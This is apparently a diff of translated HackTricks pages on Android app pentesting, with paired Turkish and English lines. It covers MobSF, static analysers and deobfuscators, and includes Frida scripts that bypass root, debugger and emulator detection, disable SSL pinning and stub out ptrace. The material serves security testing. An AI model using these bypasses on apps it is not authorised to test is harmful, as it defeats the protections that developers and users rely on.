### MobSF ile Yardımlı Dynamic analysis
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
The **MobSF dynamic analyser** can:
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Bu öğelerin tamamı otomatik olarak toplanır; ekran görüntüleri hariç, bir ekran görüntüsü almak istediğinizde manuel olarak basmanız gerekir veya tüm exported aktivitelerin ekran görüntülerini elde etmek için "**Exported Activity Tester**" ı kullanmanız gerekir.
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
@ -632,24 +629,24 @@ By default, it will also use some Frida Scripts to **bypass SSL pinning**, **roo
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
MobSF also allows you to load your own **Frida scripts** (to send the results of your Frida scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
![](<../../images/image (419).png>)
Moreover, you have some Auxiliary Frida functionalities:
- **Enumerate Loaded Classes**: Yüklü tüm sınıfları yazdırır.
- **Capture Strings**: Uygulamayı kullanırken yakalanan tüm stringleri yazdırır (çok gürültülü, çok fazla çıktı üretir).
- **Capture String Comparisons**: Çok kullanışlı olabilir. Karşılaştırılan 2 stringi ve sonucun True mu yoksa False mı olduğunu gösterir.
- **Enumerate Class Methods**: Sınıf adını girin (ör. "java.io.File") ve sınıfın tüm metodlarını yazdırır.
- **Search Class Pattern**: Sınıfları pattern ile arar.
- **Trace Class Methods**: Bir sınıfı tamamen **trace** eder (sınıftaki tüm metodların giriş ve çıkışlarını görür). Unutmayın ki varsayılan olarak MobSF bir dizi ilginç Android Api metodunu trace eder.
- **Enumerate Loaded Classes**: It will print all the loaded classes
- **Capture Strings**: It will print all the capture strings while using the application (super noisy)
- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
- **Search Class Pattern**: Search classes by pattern
- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
**Shell**
Mobsf ayrıca dynamic analysis sayfasının altında bazı **adb** komutları, **MobSF** komutları ve yaygın **shell** komutları içeren bir shell de sunar. Bazı ilginç komutlar:
Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
```bash
help
shell ls
@ -658,15 +655,15 @@ exported_activities
services
receivers
```
**HTTP tools**
**HTTP araçları**
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
HTTP trafiği yakalandığında, yakalanan trafiğin çirkin bir görünümünü "**HTTP(S) Traffic**" altından veya daha hoş bir görünümünü "**Start HTTPTools**" yeşil butondan görebilirsiniz. İkinci seçenekten **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxies**'e **send** edebilirsiniz.\
Bunu yapmak için, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> basın "**Send to Fuzzer**" --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities.
MobSF ile dinamik analizi bitirdikten sonra "**Start Web API Fuzzer**" a basarak **fuzz http requests** yapıp zafiyet arayabilirsiniz.
> [!TIP]
> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing:
> MobSF ile dinamik analiz yaptıktan sonra proxy ayarları yanlış yapılandırılabilir ve GUI üzerinden düzeltilemeyebilir. Proxy ayarlarını düzeltmek için şu komutu kullanabilirsiniz:
>
> ```
> adb shell settings put global http_proxy :0
@ -674,18 +671,18 @@ Once you finish the dynamic analysis with MobSF you can press on "**Start Web AP
### Assisted Dynamic Analysis with Inspeckage
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
This tool with use some **Hooks** to let you know **what is happening in the application** while you perform a **dynamic analysis**.
Aracı [**Inspeckage**](https://github.com/ac-pm/Inspeckage) üzerinden edinebilirsiniz.\
Bu araç bazı **Hooks** kullanarak **dinamik analiz** sırasında uygulamada **nelerin olup bittiğini** görmenizi sağlar.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
This is a **great tool to perform static analysis with a GUI**
Bu, GUI ile **statik analiz** yapmak için harika bir araçtır
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device.
Bu araç, hem **source code** hem de paketlenmiş APK'larda çeşitli güvenlik ile ilgili Android uygulama zafiyetlerini aramak için tasarlanmıştır. Araç ayrıca bulunan bazı zafiyetleri (Exposed activities, intents, tapjacking...) istismar etmek için deploy edilebilir bir "Proof-of-Concept" APK ve ADB commands oluşturabilme yeteneğine sahiptir. Drozer'da olduğu gibi test cihazını rootlamaya gerek yoktur.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -694,22 +691,22 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Kolay başvuru için tüm çıkarılan dosyaları gösterir
- Kolay başvuru için çıkarılan tüm dosyaları gösterir
- APK dosyalarını otomatik olarak Java ve Smali formatına decompile eder
- AndroidManifest.xml'i yaygın zafiyetler ve davranış açısından analiz eder
- Yaygın zafiyetler ve davranışlar için statik kaynak kodu analizi yapar
- Cihaz bilgileri
- AndroidManifest.xml'i yaygın zafiyetler ve davranışlar için analiz eder
- Yaygın zafiyetler ve davranışlar için statik kaynak kod analizi
- Cihaz bilgisi
- ve daha fazlası
```bash
reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır; _.apk_ dosyalarını güvenlik açıkları açısından analiz eder. Bunu APK'ları açarak ve bu güvenlik açıklarını tespit etmek için bir dizi kural uygulayarak yapar.
SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır; _.apk_ dosyalarını vulnerabilities aramak için analiz eder. Bunu APK'leri açıp bir dizi kural uygulayarak gerçekleştirir.
Tüm kurallar `rules.json` dosyasında toplanmıştır ve her şirket veya tester ihtiyaçlarına göre kendi kurallarını oluşturabilir.
En son ikili dosyaları [download page](https://superanalyzer.rocks/download.html) üzerinden indirin.
En son binaries'leri [download page](https://superanalyzer.rocks/download.html) üzerinden indirin.
```
super-analyzer {apk_file}
```
@ -717,9 +714,9 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn, mobil uygulamalarda [static code analysis] yapan geliştiriciler ile bugbounty hunters ve ethical hackers için faydalı olan **çok platformlu** bir araçtır.
StaCoAn, mobil uygulamalar üzerinde [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) yapan geliştiriciler, bugbounty hunters ve ethical hackers için yardımcı olan **çok platformlu** bir araçtır.
Konsept, mobil uygulama dosyanızı (.apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve uygulamanın sizin için görsel ve taşınabilir bir rapor oluşturmasıdır. Ayarları ve wordlists'i düzenleyerek özelleştirilmiş bir deneyim elde edebilirsiniz.
Konsept, mobil uygulama dosyanızı (.apk veya .ipa file) StaCoAn uygulamasına sürükleyip bırakmanız ve uygulamanın sizin için görsel ve taşınabilir bir rapor üretmesidir. Ayarları ve wordlists'i düzenleyerek özelleştirilmiş bir deneyim elde edebilirsiniz.
İndir[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
@ -727,7 +724,7 @@ Konsept, mobil uygulama dosyanızı (.apk veya .ipa dosyası) StaCoAn uygulamas
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework, geliştiricilerin veya hackers'ın Android uygulamalarındaki potansiyel güvenlik açıklarını bulmasına yardımcı olan bir analiz sistemidir.\
AndroBugs Framework, geliştiricilerin veya hackers'ın Android uygulamalarındaki potansiyel güvenlik açıklarını bulmalarına yardımcı olan bir Android zafiyet analiz sistemidir.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -735,11 +732,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** Android uygulamalarının oluşturabileceği potansiyel kötü amaçlı davranışları tespit edip kullanıcıyı uyarmayı amaçlayan bir araçtır.
**Androwarn** bir araçtır; temel amacı bir Android uygulaması tarafından geliştirilebilecek potansiyel kötü amaçlı davranışları tespit etmek ve kullanıcıyı uyarmaktır.
Tespit, uygulamanın Dalvik bytecode'unun **Smali** olarak temsil edildiği ve [`androguard`](https://github.com/androguard/androguard) kütüphanesi ile **static analysis** yapıldığı yöntemle gerçekleştirilir.
Tespit, uygulamanın Dalvik bytecode'unun **Smali** olarak temsil edilen kısmının **static analysis** ile [`androguard`](https://github.com/androguard/androguard) kütüphanesi kullanılarak yapılır.
Bu araç şu tür **"kötü" uygulamaların ortak davranışları** arar: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
Bu araç **"kötü" uygulamaların yaygın davranışlarını** arar, örneğin: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -747,70 +744,70 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Mobil uygulamaların OWASP mobile security tehditlerine karşı test edilmesine yardımcı olmak için yaygın kullanılan mobile application reverse engineering ve analysis araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve kullanıcı dostu hale getirmektir.
**MARA** bir **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework'tür. Mobil uygulamaları OWASP mobile security tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama reverse engineering ve analysis araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve kullanıcı dostu hale getirmektir.
It is able to:
Yapabildiği şeyler:
- Farklı araçlar kullanarak Java ve Smali kodu çıkarır
- APK'ları analiz eder using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- APK'den regexp'ler kullanarak özel bilgileri çıkarır
- Manifest'i analiz eder
- Bulunan domainleri analiz eder using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK'yı [apk-deguard.com](http://www.apk-deguard.com) üzerinden deobfuscate eder
- Farklı araçlar kullanarak Java ve Smali kodunu çıkarmak
- APK'leri analiz etmek için kullanır: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- APK'den regexp'ler kullanarak özel bilgileri çıkarmak.
- Manifest'i analiz etmek.
- Bulunan domainleri analiz etmek için kullanır: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deobfuscate etmek
### Koodous
Malware tespiti için kullanışlı: [https://koodous.com/](https://koodous.com/)
Malware tespitinde faydalı: [https://koodous.com/](https://koodous.com)
## Obfuscating/Deobfuscating code
## Kodun Obfuskasyonu/Deobfuskasyonu
Kodu obfuscate etmek için kullandığınız servis ve yapılandırmaya bağlı olarak, gizli bilgiler obfuscated olabilir ya da olmayabilir.
Unutmayın ki kodu obfuscate etmek için kullandığınız servis ve yapılandırmaya bağlı olarak, secret'lar obfuscated olarak kalabilir veya kalmayabilir.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Bytecode'u optimize edebilir ve kullanılmayan talimatları tespit edip kaldırabilir. ProGuard ücretsiz bir yazılımdır ve GNU General Public License, version 2 altında dağıtılmaktadır.
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Hem bytecode'u optimize edebilir hem de kullanılmayan talimatları tespit edip kaldırabilir. ProGuard özgür yazılımdır ve GNU General Public License, version 2 altında dağıtılmaktadır.
ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama release modunda derlenirken çalışır.
ProGuard Android SDK'nin bir parçası olarak dağıtılır ve uygulama release modunda derlenirken çalışır.
### [DexGuard](https://www.guardsquare.com/dexguard)
DexGuard ile ilgili adım adım bir deobfuscation rehberini şu adreste bulabilirsiniz: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
APK'yi deobfuscate etmek için adım adım bir rehber bulabilirsiniz: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(O rehbere göre) Son kontrol ettiğimizde, Dexguard'in çalışma modu şu şekildeydi:
(o rehberden) Son kontrol ettiğimizde, Dexguard’ın çalışma modu şunlardı:
- bir kaynağı InputStream olarak yükle;
- sonucu decrypt etmek için FilterInputStream'ten türeyen bir sınıfa ver;
- reverser'ın birkaç dakikasını boşa harcamak için bazı anlamsız obfuskasyonlar yap;
- decrypted sonucu bir ZipInputStream'e vererek bir DEX dosyası elde et;
- sonunda oluşan DEX'i `loadDex` metodu kullanarak bir Resource olarak yükle.
- Bir kaynağı InputStream olarak yüklemek;
- Sonucu decrypt etmek için FilterInputStream'ten türeyen bir sınıfa beslemek;
- bir reverser'ın birkaç dakikasını boşa harcamak için bazı anlamsız obfuscation'lar yapmak;
- decrypt edilmiş sonucu bir ZipInputStream'e verip bir DEX dosyası elde etmek;
- son olarak oluşan DEX'i `loadDex` metodunu kullanarak bir Resource olarak yüklemek.
### [DeGuard](http://apk-deguard.com)
**DeGuard, Android obfuscation araçları tarafından uygulanan obfuskasyon sürecini tersine çevirir. Bu, kod incelemesi ve kütüphane tahmini dahil olmak üzere birçok güvenlik analizini mümkün kılar.**
**DeGuard, Android obfuscation araçları tarafından uygulanan obfuscation sürecini tersine çevirir. Bu, kod incelemesi ve kütüphane tahmini dahil olmak üzere birçok güvenlik analizine olanak tanır.**
Obfuscated bir APK'yı platformlarına yükleyebilirsiniz.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
Bu, Android uygulamalarındaki potansiyel güvenlik açıklarını bulmak ve Android uygulama kodlarını deobfuscate etmek için bir LLM aracıdır. Google'ın Gemini public API'sini kullanır.
This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API.
### [Simplify](https://github.com/CalebFenton/simplify)
Bu, generic bir android deobfuscator'dur. Simplify, bir uygulamayı virtually executes ederek davranışını anlar ve sonra kodu optimize etmeye çalışır; böylece davranış aynı kalır ama insan tarafından anlaşılması daha kolay olur. Her optimizasyon türü basit ve genel olduğundan, hangi spesifik obfuscation türünün kullanıldığı önemli değildir.
Bu, **generic android deobfuscator**'dır. Simplify **pratikte bir uygulamayı yürütür** (virtually executes an app) davranışını anlamak için ve ardından **kodu optimize etmeye çalışır** böylece kod insan tarafından anlaşılması daha kolay fakat davranışı aynı kalır. Her optimizasyon tipi basit ve generiktir, bu yüzden hangi spesifik obfuscation türünün kullanıldığı önemli değildir.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD size bir **APK'ın nasıl yapıldığı** hakkında bilgi verir. Birçok **compilers**, **packers**, **obfuscators** ve diğer tuhaf şeyleri tespit eder. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
APKiD size bir **APK'nin nasıl oluşturulduğu** hakkında bilgi verir. Birçok **compiler**, **packer**, **obfuscator** ve diğer tuhaf şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
### Manual
[Bu öğreticiyi okuyarak özelleştirilmiş obfuskasyonu tersine çevirme ile ilgili bazı püf noktalarını öğrenin](manual-deobfuscation.md)
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
## Labs
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b, ubuntu-mate tabanlı bir Android security virtual machine'dir; reverse engineering ve malware analysis için farklı güvenlik meraklıları ve araştırmacılardan gelen en güncel framework, eğitim ve lab koleksiyonlarını içerir.
AndroL4b, ubuntu-mate tabanlı bir Android security virtual machine'dir ve reverse engineering ve malware analysis için farklı güvenlik meraklıları ve araştırmacılardan en son framework'leri, eğitimleri ve laboratuvarları içerir.
## References

90
src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md
View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
Bu sayfa, instrumentation tespit eden/root‑block yapan veya TLS pinning uygulayan Android uygulamalarına karşı dinamik analizi yeniden kazanmak için pratik bir iş akışı sağlar. Hızlı triyaj, yaygın tespitler ve mümkün olduğunda repacking gerektirmeden kopyala‑yapıştır yapılabilecek hooks/tactics ile bypass yöntemlerine odaklanır.
Bu sayfa, enstrümantasyonu tespit eden veya root‑ile engelleyen ve/veya TLS pinning uygulayan Android uygulamalarına karşı dinamik analiz yetkisini yeniden kazanmak için pratik bir iş akışı sağlar. Hızlı triyaj, yaygın tespitler ve mümkün olduğunda repacking yapmadan atlamak için kopyala‑yapıştır kullanılabilir hook/taktiklere odaklanır.
## Detection Surface (what apps check)
- Root kontrolleri: su binary, Magisk paths, getprop values, yaygın root paketleri
- Frida/debugger kontrolleri (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /proc tarama, classpath, yüklenmiş libs
- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
- Early init kontrolleri: Application.onCreate() veya process start hook'ları; instrumentation varsa crash olur
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
- Root kontrolleri: su binary'si, Magisk yolları, getprop değerleri, yaygın root paketleri
- Frida/debugger kontrolleri (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /proc taraması, classpath, yüklenmiş kütüphaneler
- Native anti‑debug: ptrace(), syscall'lar, anti‑attach, breakpoint'ler, inline hook'lar
- Erken init kontrolleri: Application.onCreate() veya enstrümantasyon varsa çökertme yapan process başlangıç hook'ları
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pin'ler
## Step 1 — Quick win: hide root with Magisk DenyList
@ -18,14 +18,14 @@ Bu sayfa, instrumentation tespit eden/root‑block yapan veya TLS pinning uygula
- DenyList'i etkinleştir, hedef paketi ekle
- Yeniden başlat ve tekrar test et
Birçok uygulama sadece bariz göstergelere bakar (su/Magisk paths/getprop). DenyList genellikle naif kontrolleri nötralize eder.
Birçok uygulama sadece bariz göstergelere (su/Magisk yolları/getprop) bakar. DenyList genellikle naif kontrolleri nötralize eder.
References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
## Step 2 — 30‑second Frida Codeshare tests
Derinlemesine incelemeden önce yaygın drop‑in script'leri dene:
Derinlemesine incelemeye geçmeden önce yaygın drop‑in script'leri dene:
- anti-root-bypass.js
- anti-frida-detection.js
@ -35,11 +35,11 @@ Example:
```bash
frida -U -f com.example.app -l anti-frida-detection.js
```
Genellikle Java root/debug kontrollerini, process/service taramalarını ve native ptrace() çağrılarını stub'lar. Az korumalı uygulamalarda kullanışlıdır; sertleştirilmiş hedefler için özelleştirilmiş hooks gerekebilir.
Bunlar tipik olarak Java root/debug kontrollerini, process/service taramalarını ve native ptrace()'ı stub'lar. Hafif korumalı uygulamalarda kullanışlıdır; sertleştirilmiş hedefler için özelleştirilmiş hook'lar gerekebilir.
- Codeshare: https://codeshare.frida.re/
## Medusa (Frida framework) ile Otomatikleştirme
## Medusa (Frida framework) ile otomatikleştirin
Medusa, SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception ve daha fazlası için 90+ hazır modül sağlar.
```bash
@ -54,22 +54,22 @@ use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass
run com.target.app
```
İpucu: Medusa, custom hooks yazmadan önce hızlı kazanımlar için harikadır. Ayrıca modules seçip kendi scripts'lerinizle birleştirebilirsiniz.
İpucu: Medusa, custom hooks yazmadan önce hızlı kazanımlar için harikadır. Ayrıca modules'ı cherry‑pick yapıp kendi scripts'inizle birleştirebilirsiniz.
## Step 3 — Bypass init-time detectors by attaching late
## Adım 3 — init-time detectors'ı attaching late ile atlatın
Çoğu tespit yalnızca process spawn/onCreate() sırasında çalışır. Spawn‑time injection (-f) veya gadgets yakalanır; UI yüklendikten sonra attach etmek atlatmayı sağlayabilir.
Pek çok tespit sadece process spawn/onCreate() sırasında çalışır. Spawn‑time injection (-f) veya gadgets yakalanır; UI yüklendikten sonra attaching yapmak atlatmayı sağlayabilir.
```bash
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
```
Eğer bu işe yararsa, oturumu kararlı tutun ve map ile stub kontrollerine devam edin.
Bu işe yararsa, oturumu kararlı tutun ve map ve stub kontrollerine geçin.
## Adım 4 — Jadx ile tespit mantığını eşleme ve dize araması
## Adım 4 — Jadx ve string hunting aracılığıyla tespit mantığını haritalayın
Jadx'te statik triaj anahtar kelimeleri:
Jadx'te statik triage anahtar kelimeleri:
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
Tipik Java kalıpları:
@ -78,16 +78,16 @@ public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}
```
İncelenecek/hooklanacak yaygın API'ler:
İncelenmesi/hook yapılması gereken yaygın API'ler:
- android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics)
- java.lang.System.loadLibrary / System.load (native köprüsü)
- java.lang.Runtime.exec / ProcessBuilder (sorgulama komutları)
- android.os.SystemProperties.get (root/emülatör heuristikleri)
## Adım 5 — Runtime stubbing with Frida (Java)
## Adım 5 — Frida ile çalışma zamanı stub'lama (Java)
Custom guard'ları repacking yapmadan güvenli değerler döndürecek şekilde override edin:
Yeniden paketlemeye gerek kalmadan özel guard'ları güvenli değerler döndürecek şekilde geçersiz kılın:
```js
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
```
Erken çökme triage'ı mı? Uygulama ölmeden hemen önce dump classes alarak muhtemel detection namespaces'i tespit edin:
Erken çöküşleri triage mı ediyorsunuz? Çökmeden hemen önce sınıfları dump ederek olası detection namespace'lerini tespit edin:
```js
Java.perform(() => {
Java.enumerateLoadedClasses({
@ -119,7 +119,7 @@ RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {}
});
Yürütme akışını doğrulamak için şüpheli metotları loglayın ve devre dışı bırakın:
Çalışma akışını doğrulamak için şüpheli metodları loglayın ve devre dışı bırakın:
```js
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
@ -131,9 +131,9 @@ return false;
```
## Bypass emulator/VM detection (Java stubs)
Yaygın heuristikler: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE içinde generic/goldfish/ranchu/sdk geçmesi; QEMU artifaktları gibi /dev/qemu_pipe, /dev/socket/qemud; varsayılan MAC 02:00:00:00:00:00; 10.0.2.x NAT; telefoni/sensörlerin eksik olması.
Yaygın sezgisel kurallar: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE alanlarının generic/goldfish/ranchu/sdk içermesi; QEMU artifaktları (ör. /dev/qemu_pipe, /dev/socket/qemud); varsayılan MAC 02:00:00:00:00:00; 10.0.2.x NAT; telephony/sensors eksikliği.
Build alanlarının hızlı taklidi:
Build alanlarının hızlı spoof'lanması:
```js
Java.perform(function(){
var Build = Java.use('android.os.Build');
@ -143,11 +143,11 @@ Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});
```
Dosya varlığı kontrolleri ve tanımlayıcılar (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) için gerçekçi değerler döndürecek stub'larla tamamlayın.
Dosya varlığı kontrolleri ve tanımlayıcılar için (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) gerçekçi değerler döndürecek stub'larla tamamlayın.
## SSL pinning bypass quick hook (Java)
Özel TrustManagers'ı nötralize edin ve izin veren SSL context'lerini zorlayın:
Özelleştirilmiş TrustManagers'ı etkisiz hale getirin ve permissive SSL context'leri zorlayın:
```js
Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
@ -166,16 +166,16 @@ return SSLContextInit.call(this, km, TrustManagers, sr);
});
```
Notlar
- OkHttp için genişletin: gerektiğinde okhttp3.CertificatePinner ve HostnameVerifier'ı hook edin veya CodeShare'den universal unpinning script'i kullanın.
- Çalıştırma örneği: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
- OkHttp için genişletin: gerektiğinde hook okhttp3.CertificatePinner ve HostnameVerifier kullanın veya CodeShare'dan universal unpinning script kullanın.
- Örnek çalıştırma: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
## Step 6 — Java hook'ları başarısız olduğunda JNI/native izini takip edin
## Adım 6 — Java hooks başarısız olduğunda JNI/native izini takip edin
JNI giriş noktalarını native loader'ları ve detection init'i bulmak için izleyin:
Native loader'ları ve detection init'i bulmak için JNI giriş noktalarını izleyin:
```bash
frida-trace -n com.example.app -i "JNI_OnLoad"
```
Paketlenmiş .so dosyalarının hızlı yerel ön değerlendirmesi:
Paketlenmiş .so dosyaları için hızlı native triage:
```bash
# List exported symbols & JNI
nm -D libfoo.so | head
@ -186,7 +186,7 @@ Etkileşimli/native reversing:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
Örnek: libc içindeki basit anti‑debug'i yenmek için ptrace'i devre dışı bırakma:
Örnek: libc içindeki basit anti‑debug'i atlatmak için ptrace'i etkisizleştirme:
```js
const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
@ -202,20 +202,20 @@ reversing-native-libraries.md
## Adım 7 — Objection patching (embed gadget / strip basics)
Repacking'i runtime hooks yerine tercih ediyorsanız, şunu deneyin:
repacking'i runtime hooks yerine tercih ediyorsanız, deneyin:
```bash
objection patchapk --source app.apk
```
Notlar:
- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install
- Gadget injection, root olmadan instrumentation sağlar ama daha güçlü init‑time kontrolleri tarafından yine de tespit edilebilir.
- apktool gerektirir; derleme sorunlarını önlemek için resmi kılavuzdan güncel bir sürüm kullandığınızdan emin olun: https://apktool.org/docs/install
- Gadget injection root olmadan instrumentation sağlar ancak yine de daha güçlü init‑time kontrolleri tarafından tespit edilebilir.
